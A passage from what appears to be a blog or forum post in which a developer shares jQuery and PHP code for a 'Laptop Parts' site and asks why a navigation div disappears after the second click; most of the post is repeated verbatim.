case "listings.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(listings_nav.php) .fadeIn('normal');
break;
case "users.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(users_nav.php) .fadeIn('normal');
break;
default:
}
return false;
});
index.php
<!DOCTYPE html>
<?php
include 'AUTH/db_connect.php';
include 'AUTH/functions.php';
sec_session_start();
?>
<html>
<head>
<link href="css/index.css" rel="stylesheet" type="text/css">
<meta name="MSSmartTagsPreventParsing" content="true" />
<meta name="author" content="Corey David Herrera" />
<title>Laptop Parts</title>
</head>
<body>
<div id="page-container">
<div id="main-nav">
<?php
include("nav/nav1.html");
?>
<h1><a href="index.php"><img src="Logo/logo1.png" width="100"
height="50" alt="Return to the Ancient Paths" border="0" /></a></h1>
</div>
<div id="nav3"></div>
<?php
include '../AUTH/db_connect.php';
include '../AUTH/functions.php';
sec_session_start();
if(login_check($mysqli) == true) {
echo '<div id="sidebar-auth" class="nav2">';
} else {
echo '<div id="sidebar-anon">';
}
?>
<div class="padding">
<?php
include("nav/nav2.php");
?>
</div>
</div>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/links.js"></script>
<div id="content"></div>
<div id="footer">
<div id="altnav">
<?php
include("nav/footer.php");
?>
</div>
Copyright © Global Technology Restoration Services Corp
</div>
</div>
</body>
</html>
The first execution loads as desired but the second causes nav3 to
disappear. I am failing to see the issue with my code. Any suggestions?
So here is what I am trying to get done. I am trying to make 2 files load
into 2 separate divs at the same time
Here is the code for the Jquery
links.js
$(document).ready(function() {
$('#content').load($('.nav2:first').attr('href'));
});
$('.nav2').click(function() {
var href = $(this).attr('href');
switch (href){
case "home.php":
$('#content').hide() .load(href) .fadeIn('normal');
break;
case "crm.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(crm_nav.php) .fadeIn('normal');
break;
case "inventory.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(inventory_nav.php) .fadeIn('normal');
break;
case "sales.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(sales_nav.php) .fadeIn('normal');
break;
case "listings.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(listings_nav.php) .fadeIn('normal');
break;
case "users.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(users_nav.php) .fadeIn('normal');
break;
default:
}
return false;
});
index.php
<!DOCTYPE html>
<?php
include 'AUTH/db_connect.php';
include 'AUTH/functions.php';
sec_session_start();
?>
<html>
<head>
<link href="css/index.css" rel="stylesheet" type="text/css">
<meta name="MSSmartTagsPreventParsing" content="true" />
<meta name="author" content="Corey David Herrera" />
<title>Laptop Parts</title>
</head>
<body>
<div id="page-container">
<div id="main-nav">
<?php
include("nav/nav1.html");
?>
<h1><a href="index.php"><img src="Logo/logo1.png" width="100"
height="50" alt="Return to the Ancient Paths" border="0" /></a></h1>
</div>
<div id="nav3"></div>
<?php
include '../AUTH/db_connect.php';
include '../AUTH/functions.php';
sec_session_start();
if(login_check($mysqli) == true) {
echo '<div id="sidebar-auth" class="nav2">';
} else {
echo '<div id="sidebar-anon">';
}
?>
<div class="padding">
<?php
include("nav/nav2.php");
?>
</div>
</div>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/links.js"></script>
<div id="content"></div>
<div id="footer">
<div id="altnav">
<?php
include("nav/footer.php");
?>
</div>
Copyright © Global Technology Restoration Services Corp
</div>
</div>
</body>
</html>
The first execution loads as desired but the second causes nav3 to
disappear. I am failing to see the issue with my code. Any suggestions?
Subscribe to:
Posts (Atom)